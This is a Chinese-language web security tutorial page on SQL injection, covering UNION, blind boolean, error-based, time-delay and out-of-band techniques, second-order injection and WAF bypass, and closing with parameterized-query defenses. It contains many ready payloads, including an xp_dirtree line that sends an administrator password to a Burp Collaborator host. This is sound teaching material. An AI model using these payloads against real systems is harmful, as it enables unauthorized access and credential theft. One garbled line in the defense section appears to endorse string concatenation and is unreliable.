Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
07SQL 注入【2】
## 一、概述 ### 1.1 什么是SQL注入 攻击者可以利用该漏洞干扰应用程序对其数据库的查询,可以让攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序可以访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容发生更改。 在某些情况下,攻击者可以进一步利用 SQL 注入攻击,从而危害底层服务器或其他后端基础设施,它还可以使他们执行拒绝服务攻击。 ### 1.2 有什么影响呢 SQL 注入攻击可能导致未经授权访问敏感数据,例如: - 密码; - 信用卡详细信息; - 个人用户信息。 多年来,SQL 注入攻击已在许多备受瞩目的数据泄露事件中被利用,这些事件造成了声誉损害和监管罚款。在某些情况下,攻击者可以获取组织系统中的持久后门,从而造成长期入侵,并且可能在很长一段时间内都无法察觉。 ### 1.3 原理 应用程序在处理用户输入(如表单提交、URL 参数、Cookie 等)时,如果未对输入进行严格的验证、过滤或转义,直接将用户输入拼接到 SQL 查询语句中,就可能导致 SQL 注入。 假设一个登录功能的后端 SQL 语句为: ```sql SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}' ``` 如果攻击者在 “用户名” 输入框中填写:' OR 1=1 -- ,则拼接后的 SQL 语句会变成: ```sql SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = 'xxx' ``` ### 1.4 如何检测 手动测试常用方式如下: - 单引号字符'并查找错误或其他异常; - 布尔条件(例如OR 1=1和OR 1=2)会查找应用程序响应中的差异; - 在 SQL 查询中执行时触发时间延迟,并寻找响应所需时间的差异。 ### 1.5 查询不同语句的SQL注入 大多数 SQL 注入漏洞都发生在查询WHERE语句的子句SELECT,大多数经验丰富的测试人员都熟悉这种类型的 SQL 注入。 然而,SQL 注入漏洞可能发生在查询中的任何位置,并且可能发生在不同的查询类型中。其他一些常见的 SQL 注入位置包括: - 在语句中UPDATE,在更新的值或WHERE子句内。 - 在语句中INSERT,在插入的值内。 - 在语句中SELECT,在表或列名内。 - 在SELECT语句中、在ORDER BY子句中。 ## 二、 不同类型 ### 2.1 查找有关数据库的信息 要利用 SQL 注入漏洞,通常需要查找有关数据库的信息。这些信息包括: - 数据库软件的类型和版本。 - 数据库包含的表和列。 > 查询数据库类型和版本 您可以通过注入特定于提供程序的查询来识别数据库类型和版本,以查看其中一个是否有效 以下是一些用于确定某些流行数据库类型的数据库版本的查询: | 数据库类型 | 询问 | | ----------- | ----------------------- | | 微软,MySQL | SELECT @@version | | 甲骨文 | SELECT * FROM v$version | | PostgreSQL | SELECT version() | 例如,您可以使用UNION以下输入进行攻击: ```sql ' UNION SELECT @@version-- ``` 这可能会返回以下输出。在这种情况下,您可以确认数据库是 Microsoft SQL Server,并查看所使用的版本: ```txt Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor) ``` > 列出数据库的内容 大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图。它提供有关数据库的信息。 例如,您可以查询information_schema.tables列出数据库中的表: ```sql SELECT * FROM information_schema.tables ``` 这将返回如下输出: ```sql TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE ``` 此输出表明有三个表,分别称为Products、Users和Feedback。 然后,您可以查询information_schema.columns列出各个表中的列: ```sql SELECT * FROM information_schema.columns WHERE table_name = 'Users' ``` 这将返回如下输出: ```sql TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar ``` 此输出显示指定表中的列以及每列的数据类型。 > 列出 Oracle 数据库的内容 在 Oracle 上,您可以找到如下相同的信息: - 您可以通过查询列出表格all_tables: SELECT * FROM all_tables - 您可以通过查询列出列all_tab_columns: SELECT * FROM all_tab_columns WHERE table_name = 'USERS' ### 2.2 检索隐藏数据 假设有一个购物应用,展示不同类别的商品。当用户点击**“礼品”**类别时,浏览器会请求以下 URL: ```sql https://insecure-website.com/products?category=Gifts ``` 这可能会导致应用程序进行 SQL 查询以从数据库中检索相关产品的详细信息: ```sql SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` 此 SQL 查询要求数据库返回: - 所有详细信息(*) - 从products表格中 - 查询category是Gifts - 并且released是1。 该限制released = 1用于隐藏未发布的产品。对于未发布的产品,我们可以假设released = 0。 该应用程序未实施任何针对 SQL 注入攻击的防御措施。这意味着攻击者可以构造以下攻击,例如: ```sql https://insecure-website.com/products?category=Gifts'-- ``` 这将产生 SQL 查询: ```sql SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ``` 至关重要的是,请注意--SQL 中的注释符。这意味着查询的其余部分将被解释为注释,从而有效地将其删除。在此示例中,这意味着查询不再包含AND released = 1。因此,所有产品都会显示出来,包括尚未发布的产品。 您可以使用类似的攻击来使应用程序显示任何类别的所有产品,包括他们不知道的类别: ```sql https://insecure-website.com/products?category=Gifts'+OR+1=1-- ``` 这将产生 SQL 查询: ```sql SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 ``` 修改后的查询将返回所有满足category或Gifts的1项目1。与1=1始终为真一样,查询将返回所有项目。 ### 2.3 业务逻辑漏洞 假设有一个应用程序允许用户使用用户名和密码登录。如果用户提交了用户名wiener和密码bluecheese,应用程序将通过执行以下 SQL 查询来检查凭据: ```sql SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' ``` 如果查询返回用户的详细信息,则登录成功。否则,登录被拒绝。 在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列从查询子句--中删除密码检查来实现这一点WHERE。例如,提交用户名administrator'--和空白密码将导致以下查询: ```sql SELECT * FROM users WHERE username = 'administrator'--' AND password = '' ``` 此查询返回用户,并成功以该用户username身份administrator登录攻击者。 ### 2.4 从其他数据库表检索数据【union注入】 SQL injection UNION attacks 如果应用程序以 SQL 查询结果作为响应,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。您可以使用UNION关键字执行附加SELECT查询,并将结果附加到原始查询中。 例如,如果应用程序执行包含用户输入的以下查询Gifts: ```sql SELECT name, description FROM products WHERE category = 'Gifts' ``` 攻击者可以提交以下输入: ```sql ' UNION SELECT username, password FROM users-- ``` 这会导致应用程序返回所有用户名和密码以及产品名称和描述。 可以使用UNION关键字从数据库内的其他表中检索数据,这通常称为 **SQL 注入 UNION 攻击**。 该UNION关键字允许您执行一个或多个附加SELECT查询,并将结果附加到原始查询。例如: ```sql SELECT a, b FROM table1 UNION SELECT c, d FROM table2 ``` 此 SQL 查询返回一个包含两列的结果集,包含 中的列和a以及中的列和 的值。 b table1 c dtable2 为了使UNION查询能够正常工作,必须满足两个关键要求: - 各个查询必须返回相同数量的列。 - 每列中的数据类型必须在各个查询之间兼容。 要执行 SQL 注入 UNION 攻击,请确保你的攻击满足以下两个要求。这通常涉及找出: - 原始查询返回了多少列。 - 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结果。 > 确定列数 执行 SQL 注入 UNION 攻击时,有两种有效的方法可以确定从原始查询返回了多少列。 一种方法是注入一系列ORDER BY子句并递增指定的列索引,直到发生错误。例如,如果注入点是WHERE原始查询子句中带引号的字符串,则应提交: ```sql ' ORDER BY 1-- asd ' ORDER BY 2-- asd ' ORDER BY 3-- asd ``` 这一系列有效负载会修改原始查询,使其按结果集中的不同列对结果进行排序。ORDER BY子句中的列可以通过其索引指定,因此您无需知道任何列的名称。当指定的列索引超过结果集中实际列的数量时,数据库将返回错误,例如: ```sql The ORDER BY position number 3 is out of range of the number of items in the select list. ``` 应用程序实际上可能会在其 HTTP 响应中返回数据库错误,但也可能发出通用错误响应。在其他情况下,它可能根本不返回任何结果。无论哪种情况,只要您能检测到响应中的一些差异,就可以推断出查询返回了多少列。 第二种方法涉及提交一系列UNION SELECT指定不同数量的空值的有效载荷: ```sql ' UNION SELECT NULL-- ads ' UNION SELECT NULL,NULL-- asd ' UNION SELECT NULL,NULL,NULL-- asd ``` 如果空值的数量与列数不匹配,数据库将返回错误,例如: ```sql All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ``` 我们使用NULL注入查询返回的值SELECT,因为每列中的数据类型必须在原始查询和注入查询之间兼容。NULL可以转换为每种常见的数据类型,因此当列数正确时,它最大限度地提高了有效载荷成功的机会。 与该技术一样ORDER BY,应用程序实际上可能会在其 HTTP 响应中返回数据库错误,但也可能返回一般错误或根本不返回任何结果。当空值的数量与列数匹配时,数据库会在结果集中返回一个额外的行,每列都包含空值。对 HTTP 响应的影响取决于应用程序的代码。如果幸运的话,您会在响应中看到一些额外的内容,例如 HTML 表上的额外行。否则,空值可能会触发不同的错误,例如NullPointerException。在最坏的情况下,响应可能看起来与由不正确的空值数量导致的响应相同。这将使此方法无效。 > 数据库特定语法 在 Oracle 上,每个SELECT查询都必须使用FROM关键字并指定一个有效的表。Oracle 中有一个内置表dual可用于此目的。因此,Oracle 上的注入查询需要如下所示: ```sql ' UNION SELECT NULL FROM DUAL-- a ``` 所述有效载荷使用双短划线注释序列--来注释掉注入点之后的原始查询的其余部分。在 MySQL 中,双短划线序列后面必须跟一个空格。或者,#也可以使用井号来标识注释。 > 查找具有有用数据类型的列 SQL 注入 UNION 攻击使您能够检索注入查询的结果。您想要检索的有趣数据通常是字符串形式。这意味着您需要在原始查询结果中找到一个或多个数据类型为字符串数据或与字符串数据兼容的列。 确定所需列数后,您可以探测每列,测试它是否可以容纳字符串数据。您可以提交一系列UNION SELECT有效负载,依次将字符串值放入每列中。 例如,如果查询返回四列,则您可以提交: ```sql ' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'-- ``` 如果列数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,例如: ```sql Conversion failed when converting the varchar value 'a' to data type int. ``` 如果没有发生错误,并且应用程序的响应包含一些额外的内容(包括注入的字符串值),那么相关列适合检索字符串数据。 > 查询具体的数据 当您确定了原始查询返回的列数并发现哪些列可以保存字符串数据时,您就可以检索有趣的数据。 假设: - 原始查询返回两列,两列都可以保存字符串数据。 - 注入点是子句内的引号字符串WHERE。 - 该数据库包含一个名为的表,users其列为username和password。 users在此示例中,您可以通过提交输入 来检索表的内容: ```sql ' UNION SELECT username, password FROM users-- ``` 为了执行此攻击,您需要知道一个名为 的表,其中users包含两列,分别为username和password。如果没有这些信息,您将不得不猜测表和列的名称。所有现代数据库都提供了检查数据库结构并确定其包含哪些表和列的方法。 > 列出字段的多个数据 在某些情况下,前面示例中的查询可能仅返回单个列。 可以通过将值连接在一起来检索此单列中的多个值。您可以添加分隔符来区分组合的值。例如,在 Oracle 上,您可以提交以下输入: ```sql ' UNION SELECT username || '~' || password FROM users-- ``` 这使用了双管道序列,它是 Oracle 上的字符串连接运算符。注入的查询将和字段||的值连接在一起,并用 字符分隔。 usernamepassword~ 查询的结果包含所有用户名和密码,例如: ```sql ... administrator~s3cure wiener~peter carlos~montoya ... ``` 不同的数据库使用不同的语法来执行字符串连接。 ### 2.5 盲注 Blind SQL injection > 什么是盲注 当应用程序容易受到 SQL 注入,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会发生 SQL 盲注。 许多技术(例如UNION攻击)对于 SQL 盲注漏洞无效。这是因为它们依赖于在应用程序响应中查看注入查询的结果。利用 SQL 盲注仍然有可能访问未经授权的数据,但必须使用不同的技术。 > 通过触发条件响应来利用盲 SQL 注入 假设有一个应用程序使用跟踪 Cookie 来收集使用情况分析数据。向该应用程序发送的请求包含如下 Cookie 标头: ```txt Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 ``` TrackingId当处理 包含 cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户: ```sql SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' ``` 此查询容易受到 SQL 注入攻击,但查询结果不会返回给用户。然而,应用程序的行为会根据查询是否返回数据而有所不同。如果您提交已识别的TrackingId,查询将返回数据,并且您会在响应中收到“欢迎回来”消息。 此行为足以利用盲 SQL 注入漏洞。您可以根据注入条件,通过有条件地触发不同的响应来检索信息。 为了理解此漏洞的工作原理,假设发送了两个请求,其中依次 包含以下cookie 值: ```sql …xyz' AND '1'='1 …xyz' AND '1'='2 ``` - 第一个值导致查询返回结果,因为注入的AND '1'='1条件为真。因此,显示“欢迎回来”消息。 - 第二个值导致查询不返回任何结果,因为注入的条件为 false。“欢迎回来”消息不会显示。 这使我们能够确定任何单个注入条件的答案,并一次提取一个数据。 例如,有一个名为Users 的表,Users其中包含列Username和Password,以及一个用户名Administrator。您可以通过发送一系列输入来逐个字符地测试密码,从而确定此用户的密码。 为此,请从以下输入开始: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm ``` 这将返回“欢迎回来”消息,表明注入的条件为真,因此密码的第一个字符大于m。 接下来,我们发送以下输入: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't ``` 这不会返回“欢迎回来”消息,表明注入的条件为假,因此密码的第一个字符不大于t。 最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是s: ```sql xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's ``` 我们可以继续这个过程来系统地确定用户的完整密码Administrator。 > 基于错误的SQL注入 基于错误的 SQL 注入是指即使在盲注的情况下,你也能利用错误消息从数据库中提取或推断敏感数据的情况。具体可能性取决于数据库的配置以及你能够触发的错误类型: - 您或许能够根据布尔表达式的结果,诱导应用程序返回特定的错误响应 - 您或许能够触发输出查询返回数据的错误消息。这可以有效地将原本盲目的 SQL 注入漏洞转化为可见的漏洞 > 通过触发条件错误来利用盲注 某些应用程序执行 SQL 查询,无论查询是否返回任何数据,其行为都不会改变,注入不同的布尔条件不会对应用程序的响应产生任何影响。 通常,可以根据是否发生 SQL 错误来诱导应用程序返回不同的响应。您可以修改查询,使其仅在条件为真时才引发数据库错误。数据库抛出的未处理错误通常会导致应用程序的响应有所不同,例如出现错误消息。这使您能够推断注入条件的真实性。 为了了解其工作原理,假设发送了两个请求,它们分别 包含以下cookie 值: ```sql xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a ``` 这些输入使用CASE关键字来测试条件,并根据表达式是否为真返回不同的表达式: - 对于第一个输入,CASE表达式的计算结果为'a',这不会导致任何错误。 - 对于第二个输入,其计算结果为1/0,这会导致除以零的错误。 如果错误导致应用程序的 HTTP 响应出现差异,则可以使用此方法来确定注入的条件是否为真。 使用此技术,可以通过一次测试一个字符来检索数据: ```sql xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a ``` > 通过详细的 SQL 错误消息提取敏感数据 数据库配置错误有时会导致详细的错误消息。这些信息可能对攻击者有用。例如,请考虑以下错误消息,该错误消息是在向id参数中注入单引号后出现的: ```txt Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char ``` 这显示了应用程序使用我们的输入构建的完整查询。 在本例中,我们将一个单引号字符串注入到WHERE语句中,这使得构造包含恶意负载的有效查询变得更加容易,注释掉查询的其余部分可以防止多余的单引号破坏语法。 有时,可以诱导应用程序生成包含查询返回部分数据的错误消息。这实际上将原本盲目的 SQL 注入漏洞变成了可见的漏洞。 您可以使用CAST()函数来实现这一点。它允许您将一种数据类型转换为另一种数据类型。例如,假设一个查询包含以下语句: ```sql CAST((SELECT example_column FROM example_table) AS int) ``` 通常,您尝试读取的数据是字符串。尝试将其转换为不兼容的数据类型(例如int)可能会导致类似以下内容的错误: ```txt ERROR: invalid input syntax for type integer: "Example data" ``` 如果字符限制阻止您触发条件响应,则这种类型的查询也可能有用。 > 通过触发时间延迟来利用盲 SQL 注入 如果应用程序在执行 SQL 查询时捕获数据库错误并妥善处理,则应用程序的响应不会有任何变化,这意味着之前用于诱导条件错误的技术将失效。 在这种情况下,通常可以通过根据注入条件的真假触发时间延迟来利用 SQL 盲注漏洞。 由于应用程序通常会同步处理 SQL 查询,因此延迟 SQL 查询的执行也会延迟 HTTP 响应,这允许根据接收 HTTP 响应所需的时间来判断注入条件的真实性。 触发时间延迟的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上,您可以使用以下命令测试条件,并根据表达式是否为真来触发延迟: ```sql '; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'-- ``` WAITFOR DELAY 是 SQL Server 特有的命令,作用是让数据库暂停执行指定的时间,格式为 '时:分:秒'。 - 这些输入中的第一个不会触发延迟,因为条件1=2为假。 - 第二个输入触发 10 秒的延迟,因为条件1=1为真。 使用这种技术,我们可以通过一次测试一个字符来检索数据: ```sql '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- ``` > 使用带外(OAST)技术利用盲 SQL 注入 应用程序可能会执行与上例相同的 SQL 查询,但以异步方式执行。 该应用程序继续在原始线程中处理用户请求,并使用另一个线程使用跟踪 Cookie 执行 SQL 查询。该查询仍然容易受到 SQL 注入攻击,但目前为止描述的所有技术都无法奏效。应用程序的响应不依赖于查询返回的任何数据、是否发生数据库错误或执行查询所需的时间。 在这种情况下,通常可以通过触发与您控制的系统进行带外网络交互来利用 SQL 盲注漏洞。这些交互可以根据注入的条件触发,从而逐条推断信息。更有用的是,数据可以直接在网络交互过程中被窃取。 多种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。许多生产网络允许 DNS 查询自由出站,因为它们对于生产系统的正常运行至关重要。 触发 DNS 查询的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上,以下输入可用于对指定域触发 DNS 查找: ```txt '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- ``` 这将导致数据库对以下域执行查找: ```txt 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net ``` 确定了触发带外交互的方法后,就可以使用带外通道从易受攻击的应用程序中窃取数据。例如: ```txt '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- ``` 此输入读取用户的密码Administrator,附加一个唯一的 Collaborator 子域名,并触发 DNS 查找。此查找允许您查看捕获的密码: ```txt S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net ``` 带外 (OAST) 技术是检测和利用 SQL 盲注的有效方法,因为它成功率高,并且能够直接在带外通道内窃取数据。因此,即使在其他盲注利用技术有效的情况下,OAST 技术通常也是首选。 ### 2.6 二次注入 当应用程序处理来自 HTTP 请求的用户输入并以不安全的方式将输入合并到 SQL 查询中时,就会发生一次 SQL 注入。 二次 SQL 注入是指应用程序从 HTTP 请求中获取用户输入并将其存储以备将来使用。这通常是通过将输入放入数据库来实现的,但在数据存储的位置不会出现漏洞。之后,在处理另一个 HTTP 请求时,应用程序会检索存储的数据,并以不安全的方式将其合并到 SQL 查询中。因此,二次 SQL 注入也称为存储型 SQL 注入。 二次 SQL 注入通常发生在开发人员意识到 SQL 注入漏洞的情况下,因此可以安全地处理将输入初始放入数据库的操作。当数据稍后被处理时,由于之前已将其安全地放入数据库,因此被认为是安全的。此时,数据以不安全的方式处理,因为开发人员错误地认为它是可信的。 > 检查数据库 SQL 语言的一些核心功能在流行的数据库平台上以相同的方式实现,因此检测和利用 SQL 注入漏洞的许多方法在不同类型的数据库上的工作方式相同。 然而,常见数据库之间也存在诸多差异。这意味着一些检测和利用 SQL 注入的技术在不同平台上的工作方式有所不同。例如: - 字符串连接的语法; - 评论; - 批量(或堆叠)查询; - 特定于平台的 API; - 错误消息。 识别 SQL 注入漏洞后,获取有关数据库的信息通常很有用。这些信息可以帮助您利用该漏洞。 您可以查询数据库的版本详细信息。不同的方法适用于不同的数据库类型。这意味着,如果您找到某个有效的方法,就可以推断出数据库类型。例如,在 Oracle 上,您可以执行: ```sql SELECT * FROM v$version ``` 您还可以识别哪些数据库表存在以及它们包含的列。例如,在大多数数据库中,您可以执行以下查询来列出表: ```sql SELECT * FROM information_schema.tables ``` ### 2.7 不同上下文中的 SQL 注入 在之前的实验中,使用了查询字符串来注入恶意 SQL 负载。然而,可以使用任何可控的输入(这些输入会被应用程序处理为 SQL 查询)来执行 SQL 注入攻击。例如,某些网站会接受 JSON 或 XML 格式的输入,并以此来查询数据库。 这些不同的格式可能为您提供不同的方法来混淆那些原本会被 WAF 和其他防御机制阻止的攻击。薄弱的实现通常会在请求中查找常见的 SQL 注入关键字,因此可以通过对禁用关键字中的字符进行编码或转义来绕过这些过滤器。 例如,以下基于 XML 的 SQL 注入使用 XML 转义序列S对 中的字符进行编码SELECT: ```xml <stockCheck> <productId>123</productId> <storeId>999 SELECT * FROM information_schema.tables</storeId> </stockCheck> ``` 这将在服务器端进行解码,然后传递给 SQL 解释器。 ## 三、防护措施 可以使用参数化查询(而不是查询中的字符串连接)来预防大多数 SQL 注入。这些参数化查询也称为“准备好的语句”。 以下代码容易受到 SQL 注入攻击,因为用户输入直接连接到查询中: ``` String query = "SELECT * FROM products WHERE category = '"+ input + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); ``` 可以以防止用户输入干扰查询结构的方式重写此代码: ``` PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?"); statement.setString(1, input); ResultSet resultSet = statement.executeQuery(); ``` 对于不受信任的输入作为查询中的数据出现的任何情况,包括子句和or语句WHERE中的值,都可以使用参数化查询。它们不能用于处理查询其他部分(例如表名或列名,或者子句)中的不受信任的输入。将不受信任的数据放入查询的这些部分的应用程序功能需要采取不同的方法,例如: INSERTUPDATEORDER BY - 将允许的输入值列入白名单。 - 使用不同的逻辑来提供所需的行为。 为了使参数化查询能够有效防止 SQL 注入,查询中使用的字符串必须始终是硬编码常量。它绝不能包含任何来源的变量数据。不要试图逐个判断某项数据是否可信,而应在查询中继续使用字符串连接,以防万一。很容易对数据的可能来源产生误解,或者导致其他代码的更改污染可信数据。
毛林
2025年9月6日 12:34
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码